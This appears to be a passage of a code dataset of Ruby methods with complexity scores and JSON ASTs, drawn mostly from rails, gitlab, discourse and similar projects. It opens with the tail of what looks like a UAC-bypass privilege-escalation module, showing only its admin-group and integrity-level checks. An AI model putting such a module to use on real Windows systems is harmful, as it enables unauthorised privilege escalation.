checked...\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_group\"]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Part of Administrators group! Continuing...\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Not in admins group, cannot escalate with this module\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_integrity_level\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INTEGRITY_LEVEL_SID\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"low\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Cannot BypassUAC from Low Integrity Level\"]}]},null]}]}]}","id":"b759a554-5bd6-47be-9f5f-36c572ea82e0"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/filters/shared/group_filter.rb","start_line":54,"raw_source":"def where\n      case operator\n      when \"=\"\n        \"users.id IN (#{group_subselect})\"\n      when \"!\"\n        \"users.id NOT IN (#{group_subselect})\"\n      when \"*\"\n        \"users.id IN (#{any_group_subselect})\"\n      when \"!*\"\n        \"users.id NOT IN (#{any_group_subselect})\"\n      end\n    end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"where\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operator\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"users.id IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_subselect\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"!\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"users.id NOT IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_subselect\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"users.id IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"any_group_subselect\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"!*\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"users.id NOT IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"any_group_subselect\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},null]}]}","id":"721e2011-0515-4270-b181-e4fe9f76188c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/scope_validator.rb","start_line":17,"raw_source":"def valid_for?(permitted)\n        return true unless @api_user\n        return true if permitted.none?\n\n        scopes = permitted.map { |s| API::Scope.new(s) }\n        @request_authenticator.valid_access_token?(scopes: scopes)\n      end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_for?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"permitted\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permitted\"]},\"none?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"scopes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permitted\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"Scope\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request_authenticator\"]},\"valid_access_token?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scopes\"]},{\"type\":\"lvar\",\"children\":[\"scopes\"]}]}]}]}]}]}","id":"2176822a-c752-4884-9793-74226bf20005"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/active_model_helper_test.rb","start_line":152,"raw_source":"def test_hidden_field_does_not_render_errors\n    assert_dom_equal(\n      %(<input id=\"post_author_name\" name=\"post[author_name]\" type=\"hidden\" value=\"\" autocomplete=\"off\" />),\n      hidden_field(\"post\", \"author_name\")\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_hidden_field_does_not_render_errors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<input id=\\\"post_author_name\\\" name=\\\"post[author_name]\\\" type=\\\"hidden\\\" value=\\\"\\\" autocomplete=\\\"off\\\" />\"]},{\"type\":\"send\",\"children\":[null,\"hidden_field\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"author_name\"]}]}]}]}","id":"74823ec4-2f69-43ad-8e63-8c3c4bb970ee"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":1329,"raw_source":"def test_find_on_array_conditions\n    assert Topic.where([\"approved = ?\", false]).find(1)\n    assert_raise(ActiveRecord::RecordNotFound) { Topic.where([\"approved = ?\", true]).find(1) }\n  end","complexity_score":8.68,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find_on_array_conditions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"where\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"approved = ?\"]},{\"type\":\"false\",\"children\":[]}]}]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"where\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"approved = ?\"]},{\"type\":\"true\",\"children\":[]}]}]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"f13cb68d-ce45-4118-bb75-c045e1ebe871"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/wiki_controller.rb","start_line":265,"raw_source":"def diff\n    if (@diff = @page.diff(params[:version_to], params[:version_from]))\n      @html_diff = OpenProject::HtmlDiff.from_markdown(\n        @diff.content_from.data.text,\n        @diff.content_to.data.text\n      )\n    else\n      render_404\n    end\n  end","complexity_score":20.5,"ast_json":"{\"type\":\"def\",\"children\":[\"diff\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@diff\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},\"diff\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version_to\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version_from\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@html_diff\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"HtmlDiff\"]},\"from_markdown\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@diff\"]},\"content_from\"]},\"data\"]},\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@diff\"]},\"content_to\"]},\"data\"]},\"text\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}","id":"a7f1bb89-59bd-41ca-9ac5-531e7424546e"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/vanilla.rb","start_line":55,"raw_source":"def execute\n    if @import_tags\n      SiteSetting.tagging_enabled = true\n      SiteSetting.max_tags_per_topic = 10\n      SiteSetting.max_tag_length = 100\n    end\n\n    # other good ones:\n\n    # SiteSetting.port = 3000\n    # SiteSetting.permalink_normalizations = \"/discussion\\/(\\d+)\\/.*/discussion/\\1\"\n    # SiteSetting.backup_frequency = 0\n    # SiteSetting.disable_emails = \"non-staff\"\n    # SiteSetting.authorized_extensions = '*'\n    # SiteSetting.max_image_size_kb = 102400\n    # SiteSetting.max_attachment_size_kb = 102400\n    # SiteSetting.clean_up_uploads = false\n    # SiteSetting.clean_orphan_uploads_grace_period_hours = 43200\n    # etc.\n\n    import_users\n    import_user_emails\n    import_user_profiles\n    import_user_stats\n\n    import_categories\n    import_topics\n    import_tags if @import_tags\n    import_posts\n\n    import_private_topics\n    import_topic_allowed_users\n    import_private_posts\n  end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@import_tags\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"tagging_enabled=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_tags_per_topic=\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_tag_length=\",{\"type\":\"int\",\"children\":[100]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"import_users\"]},{\"type\":\"send\",\"children\":[null,\"import_user_emails\"]},{\"type\":\"send\",\"children\":[null,\"import_user_profiles\"]},{\"type\":\"send\",\"children\":[null,\"import_user_stats\"]},{\"type\":\"send\",\"children\":[null,\"import_categories\"]},{\"type\":\"send\",\"children\":[null,\"import_topics\"]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@import_tags\"]},{\"type\":\"send\",\"children\":[null,\"import_tags\"]},null]},{\"type\":\"send\",\"children\":[null,\"import_posts\"]},{\"type\":\"send\",\"children\":[null,\"import_private_topics\"]},{\"type\":\"send\",\"children\":[null,\"import_topic_allowed_users\"]},{\"type\":\"send\",\"children\":[null,\"import_private_posts\"]}]}]}","id":"88f7d2c2-ab6a-486a-b7fa-c7bb675d388f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/settings/two_factor_authentication/webauthn_credentials_controller.rb","start_line":15,"raw_source":"def options\n        current_user.update(webauthn_id: WebAuthn.generate_user_id) unless current_user.webauthn_id\n\n        options_for_create = WebAuthn::Credential.options_for_create(\n          user: {\n            name: current_user.account.username,\n            display_name: current_user.account.username,\n            id: current_user.webauthn_id,\n          },\n          exclude: current_user.webauthn_credentials.pluck(:external_id),\n          authenticator_selection: { user_verification: 'discouraged' }\n        )\n\n        session[:webauthn_challenge] = options_for_create.challenge\n\n        render json: options_for_create, status: 200\n      end","complexity_score":28.4,"ast_json":"{\"type\":\"def\",\"children\":[\"options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"webauthn_id\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"webauthn_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebAuthn\"]},\"generate_user_id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options_for_create\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebAuthn\"]},\"Credential\"]},\"options_for_create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"account\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"display_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"account\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"webauthn_id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exclude\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"webauthn_credentials\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"external_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authenticator_selection\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_verification\"]},{\"type\":\"str\",\"children\":[\"discouraged\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"webauthn_challenge\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options_for_create\"]},\"challenge\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"lvar\",\"children\":[\"options_for_create\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]}]}]}]}]}","id":"3b02967b-78a6-40c3-8c54-33ed75c9722c"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_tail/position_file.rb","start_line":226,"raw_source":"def update_pos(pos)\n        @file_mutex.synchronize {\n          @file.pos = @seek\n          @file.write \"%016x\" % pos\n        }\n        @pos = pos\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_pos\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pos\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@file_mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@file\"]},\"pos=\",{\"type\":\"ivar\",\"children\":[\"@seek\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@file\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%016x\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"pos\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@pos\",{\"type\":\"lvar\",\"children\":[\"pos\"]}]}]}]}","id":"bf56e6f5-134b-4c97-b2f4-0dbb27bb9b33"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic.rb","start_line":497,"raw_source":"def has_flags?\n    self.class.has_flag_scope.exists?(topic_id: self.id)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"has_flags?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"has_flag_scope\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]}]}]}]}","id":"088535c2-7841-4b5b-8dfd-6ce35612b1fd"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/column.rb","start_line":63,"raw_source":"def encode_with(coder)\n        coder[\"name\"] = @name\n        coder[\"cast_type\"] = @cast_type\n        coder[\"sql_type_metadata\"] = @sql_type_metadata\n        coder[\"null\"] = @null\n        coder[\"default\"] = @default\n        coder[\"default_function\"] = @default_function\n        coder[\"collation\"] = @collation\n        coder[\"comment\"] = @comment\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"coder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"ivar\",\"children\":[\"@name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"cast_type\"]},{\"type\":\"ivar\",\"children\":[\"@cast_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"sql_type_metadata\"]},{\"type\":\"ivar\",\"children\":[\"@sql_type_metadata\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"null\"]},{\"type\":\"ivar\",\"children\":[\"@null\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"default\"]},{\"type\":\"ivar\",\"children\":[\"@default\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"default_function\"]},{\"type\":\"ivar\",\"children\":[\"@default_function\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"collation\"]},{\"type\":\"ivar\",\"children\":[\"@collation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"comment\"]},{\"type\":\"ivar\",\"children\":[\"@comment\"]}]}]}]}","id":"e838d7c3-4636-4adb-822e-7bcf35581503"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/date_time/calculations.rb","start_line":164,"raw_source":"def end_of_minute\n    change(sec: 59, usec: Rational(999999999, 1000))\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"end_of_minute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"change\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sec\"]},{\"type\":\"int\",\"children\":[59]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"usec\"]},{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"int\",\"children\":[999999999]},{\"type\":\"int\",\"children\":[1000]}]}]}]}]}]}","id":"ef1a10dd-2cc6-4f75-95ab-4b54f47334da"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/test/driver/output.rb","start_line":68,"raw_source":"def wait_flush_completion\n          buffer_queue = ->(){ @instance.buffer && @instance.buffer.queue.size > 0 }\n          dequeued_chunks = ->(){\n            @instance.dequeued_chunks_mutex &&\n            @instance.dequeued_chunks &&\n            @instance.dequeued_chunks_mutex.synchronize{ @instance.dequeued_chunks.size > 0 }\n          }\n\n          Timeout.timeout(10) do\n            while buffer_queue.call || dequeued_chunks.call\n              sleep 0.1\n            end\n          end\n        end","complexity_score":34.75,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_flush_completion\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buffer_queue\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance\"]},\"buffer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance\"]},\"buffer\"]},\"queue\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dequeued_chunks\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance\"]},\"dequeued_chunks_mutex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance\"]},\"dequeued_chunks\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance\"]},\"dequeued_chunks_mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance\"]},\"dequeued_chunks\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"timeout\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"while\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer_queue\"]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dequeued_chunks\"]},\"call\"]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.1]}]}]}]}]}]}","id":"f58c61c5-3b9c-4ad2-a33e-9a8194c17f30"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/action.rb","start_line":162,"raw_source":"def markdown_sample(is_first = false)\n    self.markdown_clean_heredoc!\n    self.markdown_details(is_first)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"markdown_sample\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"is_first\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"markdown_clean_heredoc!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"markdown_details\",{\"type\":\"lvar\",\"children\":[\"is_first\"]}]}]}]}","id":"7aad18f0-8d13-4396-8087-a3fc9f777fb9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/handler/unsubscribe_handler.rb","start_line":31,"raw_source":"def execute\n          raise SentNotificationNotFoundError unless sent_notification\n          return unless sent_notification.unsubscribable?\n\n          noteable = sent_notification.noteable\n          raise NoteableNotFoundError unless noteable\n\n          noteable.unsubscribe(sent_notification.recipient)\n        end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sent_notification\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"SentNotificationNotFoundError\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sent_notification\"]},\"unsubscribable?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"noteable\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sent_notification\"]},\"noteable\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"noteable\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NoteableNotFoundError\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"noteable\"]},\"unsubscribe\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sent_notification\"]},\"recipient\"]}]}]}]}","id":"54ee95a8-fb6f-4fcf-a5db-206d187bab31"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/slice.rb","start_line":938,"raw_source":"def prepare_container_providers\n        # Check here for the `routes` definition only, not `router` itself, because the\n        # `router` requires the slice to be prepared before it can be loaded, and at this\n        # point we're still in the process of preparing.\n        if routes?\n          require_relative \"providers/routes\"\n          register_provider(:routes, source: Providers::Routes)\n        end\n\n        if assets_dir? && Hanami.bundled?(\"hanami-assets\")\n          require_relative \"providers/assets\"\n          register_provider(:assets, source: Providers::Assets)\n        end\n\n        if Hanami.bundled?(\"hanami-db\")\n          # Explicit require here to ensure the provider source registers itself, to allow the user\n          # to configure it within their own concrete provider file.\n          require_relative \"providers/db\"\n\n          if register_db_provider?\n            # Only register providers if the user hasn't provided their own\n            if !container.providers[:db]\n              register_provider(:db, namespace: true, source: Providers::DB)\n            end\n\n            if !container.providers[:relations]\n              register_provider(:relations, namespace: true, source: Providers::Relations)\n            end\n          end\n        end\n      end","complexity_score":36.0,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_container_providers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"routes?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_relative\",{\"type\":\"str\",\"children\":[\"providers/routes\"]}]},{\"type\":\"send\",\"children\":[null,\"register_provider\",{\"type\":\"sym\",\"children\":[\"routes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Providers\"]},\"Routes\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assets_dir?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hanami\"]},\"bundled?\",{\"type\":\"str\",\"children\":[\"hanami-assets\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_relative\",{\"type\":\"str\",\"children\":[\"providers/assets\"]}]},{\"type\":\"send\",\"children\":[null,\"register_provider\",{\"type\":\"sym\",\"children\":[\"assets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Providers\"]},\"Assets\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hanami\"]},\"bundled?\",{\"type\":\"str\",\"children\":[\"hanami-db\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_relative\",{\"type\":\"str\",\"children\":[\"providers/db\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"register_db_provider?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"providers\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"db\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"register_provider\",{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"hash\",